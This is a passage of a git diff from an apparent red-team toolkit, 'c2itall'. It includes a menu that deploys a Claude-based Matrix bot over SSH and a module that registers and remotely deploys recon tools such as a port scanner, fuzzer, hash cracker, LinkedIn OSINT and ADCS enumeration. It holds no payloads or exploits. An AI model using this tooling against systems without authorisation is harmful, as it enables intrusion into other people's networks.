{INSTALL_SH}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Clone ghost_protocol first: ~/tools/ghost_protocol/claude-bot{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Deploying claude-bot locally...{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: script requires sudo โ€” you may be prompted for your password.{COLORS['RESET']}") + print() + try: + subprocess.run(['sudo', 'bash', INSTALL_SH], cwd=os.path.dirname(INSTALL_SH)) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}") + wait_for_input() + + +def _status_local(): + """Show systemctl status for claude-bot locally.""" + print(f"\n{COLORS['CYAN']}Local claude-bot status:{COLORS['RESET']}\n") + try: + subprocess.run(['systemctl', 'status', SERVICE_NAME, '--no-pager']) + except FileNotFoundError: + print(f"{COLORS['RED']}systemctl not found โ€” is this a systemd system?{COLORS['RESET']}") + wait_for_input() + + +def _uninstall_local(): + """Run uninstall.sh locally.""" + if not os.path.exists(UNINSTALL_SH): + print(f"\n{COLORS['RED']}uninstall.sh not found at {UNINSTALL_SH}{COLORS['RESET']}") + wait_for_input() + return + + confirm = input(f"\n{COLORS['YELLOW']}Uninstall claude-bot locally? (y/N): {COLORS['RESET']}").strip().lower() + if confirm != 'y': + print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Uninstalling claude-bot...{COLORS['RESET']}") + try: + subprocess.run(['sudo', 'bash', UNINSTALL_SH], cwd=os.path.dirname(UNINSTALL_SH)) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Uninstall interrupted{COLORS['RESET']}") + wait_for_input() + + +# โ”€โ”€โ”€ Remote actions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _prompt_remote_target(): + """Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel.""" + print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============={COLORS['RESET']}") + + host = input(f" Remote host (IP or hostname): ").strip() + if not host: + print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}") + return None, None, None, None + + ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root' + ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22' + try: + ssh_port = int(ssh_port_raw) + except ValueError: + ssh_port = 22 + + ssh_key = input(f" SSH key path (blank for default): ").strip() or None + return host, ssh_user, ssh_port, ssh_key + + +def _deploy_remote(): + """Copy claude-bot directory to remote, generate config.yaml, run install.sh over SSH.""" + if not os.path.isdir(CLAUDE_BOT_PATH): + print(f"\n{COLORS['RED']}claude-bot source not found at {CLAUDE_BOT_PATH}{COLORS['RESET']}") + wait_for_input() + return + + host, ssh_user, ssh_port, ssh_key = _prompt_remote_target() + if not host: + wait_for_input() + return + + cfg = _prompt_bot_config() + config_yaml = _generate_config_yaml(cfg) + + remote_staging = '/tmp/claude-bot-deploy' + + print(f"\n{COLORS['CYAN']}Copying claude-bot to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}") + + # Create remote staging dir + mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, + f'rm -rf {remote_staging} && mkdir -p {remote_staging}') + result = subprocess.run(mkdir_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}") + wait_for_input() + return + + # SCP the entire claude-bot directory + scp_cmd = _build_scp_cmd(ssh_port, ssh_key) + scp_cmd.extend(['-r', CLAUDE_BOT_PATH + '/']) + scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/') + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}") + wait_for_input() + return + print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}") + + # Write config.yaml to a tempfile, then SCP it into the staging dir + with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as tf: + tf.write(config_yaml) + tmp_config = tf.name + + try: + scp_cfg = _build_scp_cmd(ssh_port, ssh_key) + scp_cfg.extend([tmp_config, f'{ssh_user}@{host}:{remote_staging}/config.yaml']) + result = subprocess.run(scp_cfg, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Failed to copy config.yaml: {result.stderr}{COLORS['RESET']}") + wait_for_input() + return + print(f" {COLORS['GREEN']}config.yaml placed in staging directory{COLORS['RESET']}") + finally: + os.unlink(tmp_config) + + # Build env for sensitive credentials + env_prefix = '' + if cfg['bot_password']: + env_prefix += f"MATRIX_PASSWORD={cfg['bot_password']!r} " + if cfg['api_key']: + env_prefix += f"ANTHROPIC_API_KEY={cfg['api_key']!r} " + + # Run install.sh on the remote host + print(f"\n{COLORS['CYAN']}Running install.sh on {host}...{COLORS['RESET']}") + install_cmd_str = ( + f'cd {remote_staging}/deploy && ' + f'{env_prefix}sudo --preserve-env=MATRIX_PASSWORD,ANTHROPIC_API_KEY ' + f'bash {remote_staging}/deploy/install.sh' + ) + ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, + install_cmd_str, interactive=True) + try: + subprocess.run(ssh_install) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}") + + wait_for_input() + + +def _status_remote(): + """SSH to a remote host and show systemctl status claude-bot.""" + host, ssh_user, ssh_port, ssh_key = _prompt_remote_target() + if not host: + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Status on {ssh_user}@{host}:{COLORS['RESET']}\n") + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, + f'systemctl status {SERVICE_NAME} --no-pager', + interactive=True) + try: + subprocess.run(ssh_cmd) + except KeyboardInterrupt: + pass + wait_for_input() + + +# โ”€โ”€โ”€ Main menu โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def claude_bot_menu(): + """Main entry point โ€” called from c2itall deploy.py tools_menu().""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}CLAUDE BOT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=========={COLORS['RESET']}") + print(f" Matrix-Claude Code bridge bot") + + # Show whether source is available + if os.path.isdir(CLAUDE_BOT_PATH): + print(f" Source: {COLORS['GREEN']}{CLAUDE_BOT_PATH}{COLORS['RESET']}") + else: + print(f" Source: {COLORS['RED']}NOT FOUND โ€” {CLAUDE_BOT_PATH}{COLORS['RESET']}") + print() + + print(f"1) Deploy Locally") + print(f"2) Deploy Remote {COLORS['CYAN']}(SSH โ€” copy + config + install){COLORS['RESET']}") + print(f"3) Status {COLORS['GRAY']}(local systemctl){COLORS['RESET']}") + print(f"4) Status Remote {COLORS['GRAY']}(SSH systemctl){COLORS['RESET']}") + print(f"5) Uninstall Local") + print(f"99) Return to Tools Menu") + + choice = input(f"\nSelect an option: ").strip() + + if choice == '1': + _deploy_local() + elif choice == '2': + _deploy_remote() + elif choice == '3': + _status_local() + elif choice == '4': + _status_remote() + elif choice == '5': + _uninstall_local() + elif choice == '99': + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() diff --git a/modules/tools/recon_tools.py b/modules/tools/recon_tools.py new file mode 100644 index 0000000..15218b8 --- /dev/null +++ b/modules/tools/recon_tools.py @@ -0,0 +1,872 @@ +#!/usr/bin/env python3 +""" +Recon & Red Team Tools โ€” c2itall integration module +Provides local launch + remote deployment for Umbra suite and custom Red Team tools. +""" + +import os +import sys +import subprocess +import glob +from datetime import datetime + +# Add parent paths for imports +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) +from utils.common import COLORS, clear_screen, print_banner, wait_for_input + +# โ”€โ”€โ”€ Tool Path Registry โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..')) +UMBRA_PATH = os.path.join(C2ITALL_ROOT, "tools", "umbra") +REDTEAM_PATH = os.path.join(C2ITALL_ROOT, "tools", "redteam") + +TOOLS = { + # Umbra tools + "umbra-launcher": { + "path": os.path.join(UMBRA_PATH, "umbra.py"), + "type": "python", + "desc": "Unified Umbra Launcher", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow", "beautifulsoup4"], + }, + "um-scan": { + "path": os.path.join(UMBRA_PATH, "um-scan.py"), + "type": "python", + "desc": "TCP Port Scanner", + "deps": ["rich", "click", "aiohttp"], + }, + "um-api": { + "path": os.path.join(UMBRA_PATH, "um-api.py"), + "type": "python", + "desc": "API Endpoint Discovery", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-intel": { + "path": os.path.join(UMBRA_PATH, "um-intel.py"), + "type": "python", + "desc": "Passive OSINT Aggregator", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-enum": { + "path": os.path.join(UMBRA_PATH, "um-enum.py"), + "type": "python", + "desc": "Predictive URL Enumeration", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-fuzz": { + "path": os.path.join(UMBRA_PATH, "um-fuzz.py"), + "type": "python", + "desc": "Web Path Discovery", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-hash": { + "path": os.path.join(UMBRA_PATH, "um-hash.py"), + "type": "python", + "desc": "Gravatar Hash Extraction", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"], + }, + "um-wp": { + "path": os.path.join(UMBRA_PATH, "um-wp.py"), + "type": "python", + "desc": "WordPress Detection", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks"], + }, + "um-crack": { + "path": os.path.join(UMBRA_PATH, "um-crack.py"), + "type": "python", + "desc": "Hash Cracker", + "deps": ["rich", "click"], + }, + "um-exif": { + "path": os.path.join(UMBRA_PATH, "um-exif.py"), + "type": "python", + "desc": "EXIF Metadata Extraction", + "deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow"], + }, + "um-vault": { + "path": os.path.join(UMBRA_PATH, "um-vault.py"), + "type": "python", + "desc": "Master Database Aggregator", + "deps": ["rich", "click"], + }, + # Red Team tools + "trashpanda": { + "path": os.path.join(REDTEAM_PATH, "trashpanda", "trashpanda.py"), + "type": "python", + "desc": "Network Enumeration", + "deps": [], + }, + "ioc-u": { + "path": os.path.join(REDTEAM_PATH, "ioc-u", "ioc-u.py"), + "type": "python", + "desc": "Blue Team Detection & Intel", + "deps": ["scapy", "numpy", "scikit-learn"], + }, + "lions-share": { + "path": os.path.join(REDTEAM_PATH, "lions-share", "lions-share.py"), + "type": "python", + "desc": "SSHFS Mount & Backup", + "deps": ["click", "python-crontab"], + "sys_deps": ["sshfs", "rsync"], + }, + "micro-scope": { + "path": os.path.join(REDTEAM_PATH, "micro-scope", "micro-scope.py"), + "type": "python", + "desc": "Scope Verification", + "deps": [], + }, + "linkedout": { + "path": os.path.join(REDTEAM_PATH, "linkedout", "linkedout.py"), + "type": "python", + "desc": "LinkedIn OSINT", + "deps": ["selenium", "webdriver-manager", "beautifulsoup4"], + }, + "ops-logger": { + "path": os.path.join(REDTEAM_PATH, "ops-logger.sh"), + "type": "bash", + "desc": "Terminal Session Logging", + "deps": [], + }, + "freebird": { + "path": os.path.join(REDTEAM_PATH, "freebird", "main.py"), + "type": "python", + "desc": "MITRE ATT&CK Framework", + "deps": ["InquirerPy", "requests", "click"], + }, + "regex-search": { + "path": os.path.join(REDTEAM_PATH, "regex-search", "regex-search-tool.py"), + "type": "python", + "desc": "Sensitive Data Search", + "deps": [], + }, + "certipy-enum": { + "path": os.path.join(REDTEAM_PATH, "certipy-enum.py"), + "type": "python", + "desc": "ADCS Enumeration", + "deps": [], + }, + "ping-sweep": { + "path": os.path.join(REDTEAM_PATH, "ping-sweep.py"), + "type": "python", + "desc": "Network Discovery", + "deps": [], + "sys_deps": ["nmap"], + }, + # Forensics / sandbox tools + "ir-sandbox": { + "path": os.path.expanduser("~/tools/ir-sandbox/ir-sandbox.py"), + "type": "python", + "desc": "Malware Analysis & IR Platform", + "deps": [], + }, + "link-sandbox": { + "path": os.path.expanduser("~/tools/link-sandbox/analyze.py"), + "type": "python", + "desc": "Secure URL Analysis", + "deps": [], + }, + # Ops tools + "ops-dashboard": { + "path": os.path.join(C2ITALL_ROOT, "ops_dashboard.py"), + "type": "python", + "desc": "Real-Time Engagement Monitor", + "deps": ["rich"], + }, + "ops-bridge": { + "path": os.path.join(C2ITALL_ROOT, "ops_bridge.py"), + "type": "python", + "desc": "Remote State Sync (rsync)", + "deps": [], + "sys_deps": ["rsync"], + }, + "heartbeat-ingest": { + "path": os.path.join(C2ITALL_ROOT, "heartbeat", "heartbeat_ingest.py"), + "type": "python", + "desc": "Heartbeat Receiver Server", + "deps": [], + }, +} + +# Tool groups for menu organization +UMBRA_TOOLS = [ + "umbra-launcher", "um-scan", "um-api", "um-intel", "um-enum", + "um-fuzz", "um-hash", "um-wp", "um-crack", "um-exif", "um-vault", +] +REDTEAM_TOOLS = [ + "trashpanda", "ioc-u", "lions-share", "micro-scope", "linkedout", + "ops-logger", "freebird", "regex-search", "certipy-enum", "ping-sweep", +] +OPS_TOOLS = ["ops-dashboard", "ops-bridge", "heartbeat-ingest"] + +# Deployment tracking file +DEPLOY_LOG = os.path.expanduser("~/.c2itall_tool_deployments.log") + + +# โ”€โ”€โ”€ Utility Functions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def check_tool_status(tool_name): + """Check if a tool exists locally.""" + info = TOOLS.get(tool_name) + if not info: + return False + return os.path.exists(info["path"]) + + +def launch_local_tool(tool_name): + """Launch a tool locally.""" + info = TOOLS.get(tool_name) + if not info: + print(f"{COLORS['RED']}Unknown tool: {tool_name}{COLORS['RESET']}") + return + + if not os.path.exists(info["path"]): + print(f"{COLORS['RED']}Tool not found: {info['path']}{COLORS['RESET']}") + wait_for_input() + return + + tool_dir = os.path.dirname(info["path"]) + + if info["type"] == "python": + cmd = [sys.executable, info["path"]] + elif info["type"] == "bash": + cmd = ["bash", info["path"]] + else: + print(f"{COLORS['RED']}Unknown tool type: {info['type']}{COLORS['RESET']}") + return + + print(f"\n{COLORS['CYAN']}Launching {tool_name}...{COLORS['RESET']}\n") + try: + subprocess.run(cmd, cwd=tool_dir) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Tool interrupted{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}Error launching {tool_name}: {e}{COLORS['RESET']}") + wait_for_input() + + +def log_deployment(host, tools_deployed, ssh_user, ssh_key): + """Log a tool deployment for future SSH & Run.""" + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + with open(DEPLOY_LOG, "a") as f: + tools_str = ",".join(tools_deployed) + f.write(f"{ts}|{host}|{ssh_user}|{ssh_key}|{tools_str}\n") + + +def get_deployments(): + """Read deployment log and return list of deployments.""" + if not os.path.exists(DEPLOY_LOG): + return [] + deployments = [] + with open(DEPLOY_LOG) as f: + for line in f: + line = line.strip() + if not line: + continue + parts = line.split("|") + if len(parts) >= 5: + deployments.append({ + "timestamp": parts[0], + "host": parts[1], + "ssh_user": parts[2], + "ssh_key": parts[3], + "tools": parts[4].split(","), + }) + return deployments + + +def get_active_attack_boxes(): + """Get active attack box deployments from c2itall logs.""" + hosts = [] + log_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'logs') + info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt")) + + for info_file in info_files: + try: + with open(info_file) as f: + content = f.read() + # Extract IP and SSH info + ip = None + ssh_user = None + ssh_key = None + for line in content.splitlines(): + line = line.strip() + if "IP:" in line or "attack_box_ip:" in line: + ip = line.split(":")[-1].strip().strip('"') + elif "SSH User:" in line: + ssh_user = line.split(":")[-1].strip() + elif "SSH Key:" in line: + ssh_key = line.split(":")[-1].strip() + if ip: + hosts.append({ + "ip": ip, + "ssh_user": ssh_user or "root", + "ssh_key": ssh_key, + "source": os.path.basename(info_file), + }) + except Exception: + pass + return hosts + + +# โ”€โ”€โ”€ Deployment Functions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def select_target_host(): + """Select a target host from active deployments or manual entry.""" + print(f"\n{COLORS['CYAN']}Select target machine:{COLORS['RESET']}") + + # Check c2itall active deployments + attack_boxes = get_active_attack_boxes() + if attack_boxes: + print(f"\n {COLORS['GREEN']}Active c2itall deployments:{COLORS['RESET']}") + for i, box in enumerate(attack_boxes, 1): + print(f" {i}) {box['ip']} ({box['ssh_user']}@) โ€” {box['source']}") + print(f" {len(attack_boxes) + 1}) Manual entry") + + choice = input(f"\n Select: ").strip() + try: + idx = int(choice) - 1 + if 0 <= idx < len(attack_boxes): + box = attack_boxes[idx] + return box["ip"], box["ssh_user"], box.get("ssh_key") + except ValueError: + pass + else: + print(f" {COLORS['YELLOW']}No active c2itall deployments found{COLORS['RESET']}") + + # Manual entry + host = input(f"\n Enter target (user@host or host): ").strip() + if not host: + return None, None, None + + if "@" in host: + ssh_user, host = host.split("@", 1) + else: + ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or "root" + + ssh_key = input(f" SSH key path (blank for default): ").strip() or None + return host, ssh_user, ssh_key + + +def _build_ssh_cmd(host, ssh_user, ssh_key, command=None, interactive=False): + """Build an SSH command list.""" + cmd = ["ssh"] + if ssh_key: + cmd.extend(["-i", ssh_key]) + # Use accept-new: trust on first connect, reject if key changes + known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts") + cmd.extend([ + "-o", "StrictHostKeyChecking=accept-new", + "-o", f"UserKnownHostsFile={known_hosts}", + "-o", "IdentitiesOnly=yes", + ]) + if interactive: + cmd.append("-t") + cmd.append(f"{ssh_user}@{host}") + if command: + cmd.append(command) + return cmd + + +def _build_scp_cmd(ssh_key=None): + """Build base SCP command with consistent SSH options.""" + known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts") + cmd = ["scp", "-o", "StrictHostKeyChecking=accept-new", "-o", f"UserKnownHostsFile={known_hosts}"] + if ssh_key: + cmd.extend(["-i", ssh_key]) + return cmd + + +def deploy_umbra_remote(host, ssh_user, ssh_key): + """Deploy Umbra suite to remote machine.""" + print(f"\n{COLORS['CYAN']}Deploying Umbra to {ssh_user}@{host}...{COLORS['RESET']}") + + # Create remote directory + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra") + result = subprocess.run(ssh_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Failed to create remote directory: {result.stderr}{COLORS['RESET']}") + return False + + # SCP Umbra files + scp_cmd = _build_scp_cmd(ssh_key) + + # Copy all Python files and wordlists + py_files = glob.glob(os.path.join(UMBRA_PATH, "*.py")) + if not py_files: + print(f"{COLORS['RED']}No Umbra Python files found at {UMBRA_PATH}{COLORS['RESET']}") + return False + + scp_cmd.extend(py_files) + scp_cmd.append(f"{ssh_user}@{host}:/opt/umbra/") + + print(f" Copying {len(py_files)} Python files...") + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}") + return False + + # Copy wordlists if they exist + wordlist_dir = os.path.join(UMBRA_PATH, "wordlists") + if os.path.isdir(wordlist_dir): + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra/wordlists") + subprocess.run(ssh_cmd, capture_output=True) + + scp_wl = _build_scp_cmd(ssh_key) + scp_wl.extend(["-r", wordlist_dir + "/"]) + scp_wl.append(f"{ssh_user}@{host}:/opt/umbra/wordlists/") + print(f" Copying wordlists...") + subprocess.run(scp_wl, capture_output=True) + + # Install pip dependencies + all_deps = set() + for tool in UMBRA_TOOLS: + info = TOOLS.get(tool, {}) + all_deps.update(info.get("deps", [])) + + if all_deps: + deps_str = " ".join(sorted(all_deps)) + print(f" Installing dependencies: {deps_str}") + install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}") + result = subprocess.run(install_cmd, capture_output=True, text=True, timeout=120) + if result.returncode != 0: + print(f"{COLORS['YELLOW']}Warning: Some deps may have failed: {result.stderr[:200]}{COLORS['RESET']}") + + # Verify + print(f" Verifying installation...") + verify_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "python3 -m py_compile /opt/umbra/um_tui.py && echo 'VERIFY_OK'") + result = subprocess.run(verify_cmd, capture_output=True, text=True) + if "VERIFY_OK" in result.stdout: + print(f"{COLORS['GREEN']}Umbra deployed successfully to {host}:/opt/umbra/{COLORS['RESET']}") + log_deployment(host, UMBRA_TOOLS, ssh_user, ssh_key or "default") + return True + else: + print(f"{COLORS['RED']}Verification failed{COLORS['RESET']}") + return False + + +def deploy_redteam_remote(host, ssh_user, ssh_key): + """Deploy Red Team tools to remote machine.""" + print(f"\n{COLORS['CYAN']}Deploying Red Team tools to {ssh_user}@{host}...{COLORS['RESET']}") + + # Create remote directories + ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "mkdir -p /opt/redteam/{trashpanda,ioc-u,lions-share,micro-scope,linkedout,freebird,regex-search}") + subprocess.run(ssh_cmd, capture_output=True) + + deployed = [] + for tool_name in REDTEAM_TOOLS: + info = TOOLS.get(tool_name) + if not info: + continue + + src_path = info["path"] + if not os.path.exists(src_path): + print(f" {COLORS['YELLOW']}Skipping {tool_name}: not found locally{COLORS['RESET']}") + continue + + # Determine remote path + remote_dir = f"/opt/redteam/{tool_name}" + src_dir = os.path.dirname(src_path) + + scp_cmd = _build_scp_cmd(ssh_key) + + # If it's a single file, just copy the file + if os.path.isfile(src_path) and src_dir == os.path.dirname(src_path): + ssh_mkdir = _build_ssh_cmd(host, ssh_user, ssh_key, f"mkdir -p {remote_dir}") + subprocess.run(ssh_mkdir, capture_output=True) + scp_cmd.extend([src_path, f"{ssh_user}@{host}:{remote_dir}/"]) + else: + scp_cmd.extend(["-r", src_dir + "/"]) + scp_cmd.append(f"{ssh_user}@{host}:{remote_dir}/") + + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode == 0: + print(f" {COLORS['GREEN']}Deployed: {tool_name}{COLORS['RESET']}") + deployed.append(tool_name) + else: + print(f" {COLORS['RED']}Failed: {tool_name} โ€” {result.stderr[:100]}{COLORS['RESET']}") + + # Install deps for deployed tools + all_deps = set() + for tool_name in deployed: + info = TOOLS.get(tool_name, {}) + all_deps.update(info.get("deps", [])) + + if all_deps: + deps_str = " ".join(sorted(all_deps)) + print(f"\n Installing dependencies: {deps_str}") + install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}") + subprocess.run(install_cmd, capture_output=True, text=True, timeout=120) + + if deployed: + print(f"\n{COLORS['GREEN']}Deployed {len(deployed)} Red Team tools to {host}{COLORS['RESET']}") + log_deployment(host, deployed, ssh_user, ssh_key or "default") + return len(deployed) > 0 + + +def ssh_run_tool(host, ssh_user, ssh_key, tool_path, interactive=True): + """SSH into a remote machine and run a tool.""" + if interactive: + cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"cd {os.path.dirname(tool_path)} && python3 {tool_path}", + interactive=True) + else: + cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"python3 {tool_path}") + + print(f"\n{COLORS['CYAN']}Connecting to {ssh_user}@{host}...{COLORS['RESET']}") + try: + subprocess.run(cmd) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Session ended{COLORS['RESET']}") + + +def check_remote_tools(host, ssh_user, ssh_key): + """Check which tools are installed on a remote machine.""" + print(f"\n{COLORS['CYAN']}Checking tools on {ssh_user}@{host}...{COLORS['RESET']}\n") + + # Check Umbra + check_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, + "ls /opt/umbra/*.py 2>/dev/null && echo '---DIVIDER---' && ls /opt/redteam/*/ 2>/dev/null") + result = subprocess.run(check_cmd, capture_output=True, text=True) + + if result.returncode != 0: + print(f"{COLORS['YELLOW']}Could not connect or no tools found{COLORS['RESET']}") + return + + output = result.stdout + if "---DIVIDER---" in output: + umbra_part, redteam_part = output.split("---DIVIDER---", 1) + else: + umbra_part = output + redteam_part = "" + + print(f" {COLORS['WHITE']}Umbra Suite:{COLORS['RESET']}") + if umbra_part.strip(): + for line in umbra_part.strip().splitlines(): + fname = os.path.basename(line.strip()) + print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {fname}") + else: + print(f" {COLORS['RED']}Not installed{COLORS['RESET']}") + + print(f"\n {COLORS['WHITE']}Red Team Tools:{COLORS['RESET']}") + if redteam_part.strip(): + for line in redteam_part.strip().splitlines(): + print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {line.strip()}") + else: + print(f" {COLORS['RED']}Not installed{COLORS['RESET']}") + + +# โ”€โ”€โ”€ Menu Functions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def umbra_submenu(): + """Submenu for Umbra Reconnaissance Suite.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}UMBRA RECONNAISSANCE SUITE{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=========================={COLORS['RESET']}") + print(f"1) um-scan โ€” TCP Port Scanner") + print(f"2) um-api โ€” API Endpoint Discovery") + print(f"3) um-intel โ€” OSINT Aggregator") + print(f"4) um-enum โ€” URL Enumeration") + print(f"5) um-fuzz โ€” Directory Fuzzer") + print(f"6) um-hash โ€” Hash Extraction") + print(f"7) um-wp โ€” WordPress Scanner") + print(f"8) um-crack โ€” Password Cracker") + print(f"9) um-exif โ€” EXIF Metadata") + print(f"10) um-vault โ€” Database Manager") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + tool_map = { + "1": "um-scan", "2": "um-api", "3": "um-intel", + "4": "um-enum", "5": "um-fuzz", "6": "um-hash", + "7": "um-wp", "8": "um-crack", "9": "um-exif", + "10": "um-vault", + } + + if choice == "99": + return + elif choice in tool_map: + launch_local_tool(tool_map[choice]) + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def redteam_submenu(): + """Submenu for Red Team Operations Tools.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}RED TEAM OPERATIONS TOOLS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}========================={COLORS['RESET']}") + print(f"1) TrashPanda โ€” Network Enumeration") + print(f"2) IOC-U โ€” Blue Team Detection & Intel") + print(f"3) Lions-Share โ€” SSHFS Mount & Backup") + print(f"4) micro-scope โ€” Scope Verification") + print(f"5) linkedout โ€” LinkedIn OSINT") + print(f"6) ops-logger โ€” Terminal Session Logging") + print(f"7) freebird โ€” MITRE ATT&CK Framework") + print(f"8) regex-search โ€” Sensitive Data Search") + print(f"9) certipy-enum โ€” ADCS Enumeration") + print(f"10) ping-sweep โ€” Network Discovery") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + tool_map = { + "1": "trashpanda", "2": "ioc-u", "3": "lions-share", + "4": "micro-scope", "5": "linkedout", "6": "ops-logger", + "7": "freebird", "8": "regex-search", "9": "certipy-enum", + 